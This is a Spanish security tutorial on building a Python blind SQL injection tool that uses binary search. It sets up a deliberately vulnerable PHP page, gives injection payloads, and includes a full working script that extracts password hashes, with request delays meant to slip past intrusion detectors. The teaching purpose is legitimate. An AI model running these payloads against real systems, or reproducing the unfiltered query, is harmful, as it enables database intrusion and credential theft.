Desarrolla tus propias herramientas: ataque blind

Transcripción

Desarrolla tus propias herramientas: ataque blind
Desarrolla tus propias herramientas: ataque blind SQL-i mediante
búsqueda binaria
1. Responsabilidad
El autor declina toda responsabilidad sobre cualquier uso de la información presentada en el
mismo.
2. Introducción
Seguimos
con
la
serie
desarrolla
tus
propias
herramientas
(http://www.chasethesun.es/?q=node/33). Tras algunas peticiones, me animo a incluir un
pequeño artículo sobre cómo construir, en unos minutos, una sencilla herramienta para
realizar ataques de blind SQL-i (https://www.owasp.org/index.php/Blind_SQL_Injection).
El lenguaje de programación utilizado, como en el caso anterior, será: python
(http://www.python.org).
¿Qué se puede aprender o para qué puede servir este artículo?
 Animarte a desarrollar tus propias herramientas: igual que en al anterior, tratamos un
caso fácil que el lector podrá, fácilmente, extender y adaptar a sus necesidades.
 Entender un método de búsqueda como es la búsqueda binaria
(http://es.wikipedia.org/wiki/Algoritmo_de_b%C3%BAsqueda): aunque no es un curso
de programación, podemos aprovechar para recordar, o comprender mejor ,
algoritmos sencillos como éste.
3. Aclaración y Prerequisitos
¿Qué no pretende este artículo?:
 No, no es un texto dedicado a la programación, ni al estilo programando (para eso
existen otros textos). Así que si crees que se puede hacer mejor o más limpio,
cualquiera de los pasos, te animo a ello. Se asumen, además, unos conocimientos, al
menos básicos, del lenguaje python.
 Sí, existen herramientas que ya hacen lo que este ejemplo y quizá sean más eficientes
(aunque aquellas, no las hemos diseñado nosotros por lo que adaptarlas a nuestras
necesidades, puede ser complicado).
 No vamos a explicar qué es el blind SQL-injection, existen muchos artículos al respecto
y, durante el desarrollo, daremos por hecho que el autor conoce (al menos, de
manera somera), esta técnica.
 Para el desarrollo del entorno de pruebas se requiere que el lector sea capaz de
montar un servidor Apache (www.apache.org) con php (www.php.net) y una base de
datos MySQL (www.mysql.org) -o un sistema equivalente- y unos conocimientos
básicos del lenguaje SQL (http://es.wikipedia.org/wiki/SQL)
4. Paso 1: crear nuestro entorno de pruebas
Crearemos una base de datos y un usuario con acceso a la misma (sólo permiso SELECT):
GRANT SELECT ON blindTest.* TO ‘blind’@’localhost’ IDENTIFIED BY ‘*******’;
Crearemos, como root, la siguiente tabla (o similar):
CREATE TABLE ‘users‘ (
‘id‘ int(10) unsigned NOT NULL auto_increment,
‘login‘ varchar(50) NOT NULL,
‘password‘ varchar(50) NOT NULL,
PRIMARY KEY (‘id‘)) ENGINE=MyISAM DEFAULT CHARSET=latin1;
A continuación insertamos entradas de usuarios, por ejemplo:
INSERT
INTO
users(login,
“a28a576abcfa60ea5a0b8fec4c55f78d”);
INSERT
INTO
users(login,
“0c747f63c4646e48054265bf1e45f475”);
password)
VALUES(“admin”,
password)
*En nuestro ejemplo hemos decidido usar un
(http://es.wikipedia.org/wiki/MD5), como contraseña.
algoritmo
VALUES(“root”,
de
resumen
MD5
** Podría, el lector, hacer un pequeño script que generase una palabra aleatoria y su MD5, de
manera automática, para mayor desafío :)
Finalmente, generamos el fichero vulnerable (blind.php, en mi ejemplo):
<?php
require_once(“Mysql.php”);
$DBNAME = “blindTest”;
$DBUSER = “blind”;
$DBPASSWORD = “******”;
$DBHOST = “localhost”;
$mysql = new Mysql($DBNAME, $DBUSER, $DBPASSWORD, $DBHOST);
$id = $_GET[”id”];
if ($id) {
$sqlQuery = “SELECT * FROM users WHERE id=$id”;
$mysql->query($sqlQuery);
$res = $mysql->asObject();
if ($res->login)
echo “login: $res->login<br>\n”;
}
?>
Básicamente, utilizamos una librería de MySQL para convertir en objeto el resultado de una
consulta (buscamos un id de usuario igual al que envía el usuario mediante el formulario), en la
cual no hemos hecho un correcto filtrado de los parámetros ($id).
Aunque podríamos acceder directamente (http://localhost/blind.php?id=1), un formulario
HTML que podría presentar esta información, podría ser:
<b>Formulario de pruebas</b><br><br>
<form name=”auth” action=”blind.php” method=”GET”>
Id: <input type=”text” name=”id” size=5><br>
<input type=”submit”>
</form>
5. Encontrando el blind SQL-i y cómo explotarlo
Realizando pruebas observamos que introduciendo 1 o 2, la aplicación nos muestra dichos
usuarios, la respuesta obtenida es tal que:
login:admin
Formulario de pruebas
ID: [
]
Sin embargo, introduciendo un valor inexistente, obtenemos:
Formulario de pruebas
ID: [
]
En este caso, dado que no lo ha encontrado, nos muestra el formulario de nuevo (sin la
información de usuario “login: admin”).
Podemos utilizar este aspecto para realizar un ataque de inyección SQL ciega (Blind SQLInjection); el truco se basa en introducir un valor que vaya a resultar como cierto (por ejemplo:
1, ya que el id=1 existe en la BD) y unir mediante un AND otra consulta SQL que pueda dar
como resultado cierto o falso. De esta manera, dado que la primera condición siempre es
cierta, obtendremos el formulario que incluye el texto “login:” sólo en el caso de que la
segunda también sea cierta.
Tras diversas pruebas podemos obtener: número de registros en tablas, nombres de campos,
valores de éstos…
Una vez averiguado el nombre de la tabla y campo a buscar, probamos a enviar, mediante el
formulario (o directamente mediante método GET utilizando el navegador):
1 AND (SELECT length(password) FROM users WHERE id = 1) > 1
Obtenemos el texto: “login: admin”, por lo que es cierto.
Probamos a continuación a preguntar si es mayor que 50, por ejemplo:
1 AND (SELECT length(password) FROM users WHERE id = 1) > 50
Ya no aparece la parte de “login”, por lo que tiene que ser falso. Ahora probamos 25 lo que
nos da cierto, luego probamos 37 que resulta ser falso, probamos 31 resulta cierto, y así hasta
dar con el tamaño de la contraseña que es: 32 (la lógica nos podría llevar pensar que es muy
probable que sea un md5, ya que éste se suele representar como una cadena de 32 dígitos
hexadecimales, pero, de momento esto no nos importa).
Nuestra manera de probar no es más que una búsqueda binaria que en resumen, es:
6. Cómo funciona la búsqueda dicotómica (binaria) (resumen):
Se trata de dar con un elemento en una lista ordenada (como los números naturales en
secuencia); básicamente comparamos con un elemento (al que llamaremos pívot) cualquiera
(aunque suele tomarse el punto central), si el valor de éste es mayor que el elemento que
buscamos sabemos que el elemento (número, en nuestro caso) que buscamos está (en caso de
encontrarse en la lista) en la rama de la izquierda, por lo que la derecha la descartamos; En
caso contrario, asumiríamos que el elemento está en la rama de la derecha (o es el pívot; O no
se encuentra en la lista, si bien, en nuestro ejemplo esto no es posible (utilizamos como lista
todo el rango de valores posibles para un carácter ASCII).
Tras cada iteración reducimos la búsqueda a la mitad de elementos y movemos el pívot al
centro de la nueva lista; Este método es una manera rápida de encontrar nuestro elemento
(desde luego, mucho más que un método secuencial, que también sería viable –aunque,
menos óptimo- para este tipo de ataque).
Funcionamiento de la búsqueda binaria (supongamos que buscamos el elemento “3”):
7. Obtener la información de un campo
Confirmado que nuestro método de inyección funciona (hemos obtenido, de momento, el
tamaño de la cadena objetivo). Para obtener la información de un campo concreto de una
tabla, podemos emplear las siguientes funciones SQL:
 ASCII
(http://dev.mysql.com/doc/refman/5.0/en/stringfunctions.html#function_ascii): nos devuelve el valor numérico correspondiente a la
tabla ASCII (http://es.wikipedia.org/wiki/ASCII) para el carácter más a la izquierda de
una cadena dada.
 SUBSTRING
(http://dev.mysql.com/doc/refman/5.0/en/stringfunctions.html#function_substring): nos permite partir una cadena. Lo utilizaremos
para coger carácter a carácter cada uno de los valores a obtener (todos los caracteres
del campo contraseña, por ejemplo), pasando éstos a la función ASCII obtendremos su
para comparar, mediante operaciones de mayor que (>) y menor que (<) hasta dar con
el valor exacto.
Ejemplo:
1 AND (SELECT ASCII((SELECT SUBSTRING((SELECT password FROM users WHERE
id=1), 1, 1)))) > 65
 El 1 en rojo y cursiva indica la posición dentro de la cadena.
 El 65 es el valor con que queremos comparar (correspondiente con la letra ‘A’).
El resultado parece que es cierto, por lo que probamos con un valor superior (por ejemplo, 122
que corresponde con ‘z’), siendo en este caso falso. Continuando con nuestro método de
búsqueda binaria a mano, damos con ese valor que será: 97 (“a”).
Teniendo claro nuestro método, sólo nos falta automatizarlo para mayor comodidad (es cierto
que una contraseña de pocos caracteres puede ser más rápido obtenerla a mano, pero según
estos aumentan nuestra paciencia se pondrá más a prueba :), además, es más fácil cometer un
error).
8. Implementando el código: Proceso de comprobación
Necesitamos una manera de comprobar si el elemento que estamos probando es mayor, o no,
del elemento buscado. Recordemos que una consulta que nos daba dicho resultado, podría
ser:
1 AND (SELECT ASCII((SELECT SUBSTRING((SELECT password FROM users WHERE
id=1), 1, 1)))) > 65
Para ello implementamos una función (check), de la siguiente manera:
 Definiremos una variable global (o local) baseUrl donde almacenar la URL base a atacar
(en nuestro ejemplo: http://localhost/blind.php?id=, recordemos que estamos
pasando el parámetro por GET, si bien, es fácilmente adaptable a una solicitud POST
mediante las librerías que nos ofrece python.
 La función de chequeo (check) tomará dos parámetros: el carácter a buscar (lo
llamaremos: char) y la posición dentro de la cadena (position).
 La función de chequeo, juntará dicha base con la consulta a realizar sustituyendo en la
consulta mostrada antes por los valores correspondientes de posición y valor ASCII del
carácter a buscar.
 Mediante la librería urllib2 (http://docs.python.org/library/urllib2.html), realizaremos
la petición y procesaremos la respuesta en busca de la cadena “login: admin”. Si la
encuentra devolveremos True, False en caso contrario.
Codificamos lo siguiente:
import urllib, urllib2
baseUrl = "http://localhost/blind.php?id="
def checkSQLi(char, position):
testString = "1 AND (SELECT ASCII((SELECT SUBSTRING((SELECT password FROM
users WHERE id=1), " + str(position) + ",1)))) = " + str(char)
url = baseUrl + urllib.quote_plus(testString)
response = urllib2.urlopen(url)
html = response.read()
if html.find("login: admin") != -1:
return True
else:
return False
Nuestro siguiente paso será codificar la búsqueda binaria. Crearemos dos límites (lowLimit y
topLimit) con los valores decimales del primer y último carácter ASCII a probar (utilizamos los
imprimibles: 32 al 126.
 La función recibirá un ancho máximo (si bien, se podrían definir métodos para saber
que ha terminado, o simplemente ejecutarlo hasta que observemos que ha sacado
toda la información).
 Iremos almacenando cada carácter obtenido en la cadena result.
 La posición de la cadena que estamos averiguando estará en la variable position y: left,
right y pivot serán los elementos que marquen cuál es el carácter más a la izquierda
posible (empezará siendo lowLimit), derecho y el pívot (la mitad de la suma de ambos
sin decimales).
 Cada vez calcularemos el pivot (la mitad de la suma de ambos extremos (left/right)
redondeada hacia abajo, p.ej.).
 Según las comparaciones sean ciertas o faltas ajustaremos los valores de left, right y
pivot.
 En el momento en que el izquierdo y el derecho estén a menos de 2 de distancia,
habremos hayado el valor que deseamos ya que sabemos que debe ser mayor que el
de la izquierda y, a la vez, menor o igual al de la derecha (es decir, el valor buscado es
el de la derecha). En ese momento añadimos el carácter a la cadena result,
avanzaremos una posición y reestablecemos los valores de lowLimit y topLimit.
También mostraremos por consola el total obtenido para que podamos ver nuestro
progreso.
 Finalmente, una vez superado el ancho establecido o la condición que establezcamos
para terminar, devolveremos lo obtenido en la cadena result.
Lo codificamos así:
def getValue(width):
result = ""
position = 1
left = lowLimit
right = topLimit
while position <= width:
pivot = int((left + right) / 2)
if right - left < 2:
position += 1
result += chr(right)
left = lowLimit
right = topLimit
print "=> ", result
if check(pivot, position):
left = pivot
pivot = pivot = (left + right) / 2
else:
right = pivot
return result
9. Juntando todo
Para terminar, juntamos ambos métodos, añadiendo un par de instrucciones para
comprobar cuánto tiempo tarda y cuántas peticiones HTTP necesita realizar.
Definimos, también, un valor (sleepTime) en el que le indicaremos los segundos
que queremos parar entre peticiones (útil para evitar detectores/protectores de
intrusiones o simplemente para no saturar la máquina).
El código final es el siguiente:
import urllib, urllib2
import sys
import time
lowLimit = 32
topLimit = 126
baseUrl = "http://localhost/blind.php?id="
sleepTime = 1
res = ""
peticiones = 0
def checkSQLi(char, position):
global peticiones
peticiones += 1
testString = "1 AND (SELECT ASCII((SELECT SUBSTRING((SELECT password
FROM users WHERE id=1), " + str(position) + ",1)))) > " + str(char)
url = baseUrl + urllib.quote_plus(testString)
response = urllib2.urlopen(url)
html = response.read()
if html.find("login: admin") != -1:
return True
else:
return False
def getValue(width):
result = ""
position = 1
left = lowLimit
right = topLimit
while position <= width:
pivot = int((left + right) / 2)
if right - left < 2:
position += 1
result += chr(right)
left = lowLimit
right = topLimit
print "=> ", result
if checkSQLi(pivot, position):
left = pivot
pivot = pivot = (left + right) / 2
else:
right = pivot
time.sleep(sleepTime)
return result
startTime = time.clock();
print getValue(32)
print "En: ", peticiones, " peticiones y ", str(time.clock() - startTime),
" segundos."
Desde luego, el código podría mejorar eliminando variables globales por ejemplo. Animo al
lector a hacer tantos cambios como considere, algunas cosas he preferido dejar un código
menos reutilizable, en favor de algo más sencillo.
En nuestra ejecución, obtenemos:
=> a
=> a2
=> a28
(…)
a28a576abcfa60ea5a0b8fec4c55f78d
En:
10. Sobre el Autor
Jesús Arnáiz es Consultor de Seguridad en Chase The Sun S.L., entre otros, ha trabajado en
proyectos de auditoría y consultoría de seguridad, pruebas e intrusión/hacking ético, análisis
forense y cumplimiento normativo.

Documentos relacionados